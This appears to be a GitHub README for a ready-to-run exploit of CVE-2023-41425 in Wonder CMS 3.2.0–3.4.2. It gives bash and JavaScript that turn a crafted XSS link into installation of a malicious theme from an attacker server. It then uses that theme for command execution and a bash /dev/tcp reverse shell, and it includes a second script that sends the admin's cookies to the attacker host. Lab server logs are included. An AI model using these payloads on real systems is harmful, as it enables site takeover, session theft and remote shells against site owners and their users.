charlesgargasson/cve-2023-41425XSS-to-RCE exploit for Wonder CMS 3.2.0–3.4.2 with automated payload delivery, reverse shell, and cookie theft via malicious theme installation.
############## Wonder CMS RCE ##############
| | Description : XSS to RCE, Wonder CMS 3.2.0 <= 3.4.2 | Sources | - https://github.com/prodigiousMind/CVE-2023-41425/tree/main | - https://nvd.nist.gov/vuln/detail/CVE-2023-41425 |
RCE
.. code-block:: bash
RHOST="http://host.com:80" LHOST="10.10.14.152" LPORT="4444" LPORTWEB="80"
cd $(mktemp -d)
mkdir -p evil cat <<'EOF'>evil/evil.php
EOF
zip -r evil.zip evil/
cat <xssrce.js var xhr=new XMLHttpRequest(); xhr.open("GET", "${RHOST}/?installModule=http://${LHOST}:${LPORTWEB}/evil.zip&directoryName=whatever&type=themes&token=" + document.querySelectorAll('[name="token"]')[0].value, true); xhr.send(); EOF
echo -e "\n# XSS RCE" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xssrce.js"><form+action=" EOF
sudo python3 -m http.server $LPORTWEB &
|
| After sending the RCE XSS to administrator we get the following http calls
.. code-block::
10.129.252.14 - - [11/Aug/2024 18:42:26] "GET /xssrce.js HTTP/1.1" 304 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:31] "GET /evil.zip HTTP/1.1" 200 - 10.129.252.14 - - [11/Aug/2024 18:42:32] "GET /evil.zip HTTP/1.1" 200 -
|
| We can now make use of the php payload
.. code-block:: bash
CMD="id" curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
CMD="bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'" curl --path-as-is "${RHOST}/themes/evil/evil.php?0=$(echo -n "$CMD"| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))")"
|
Cookies
| You can also steal cookies (and therefore the php session)
.. code-block:: bash
cat <xsscookie.js var xhr=new XMLHttpRequest(); xhr.open("GET", "http://${LHOST}:${LPORTWEB}/?"+document.cookie, true); xhr.send(); EOF
echo -e "\n# XSS Retrieve PHP session" cat <<EOF ${RHOST}/index.php?page=loginURL?"><script+src="http://${LHOST}:${LPORTWEB}/xsscookie.js"><form+action=" EOF
|
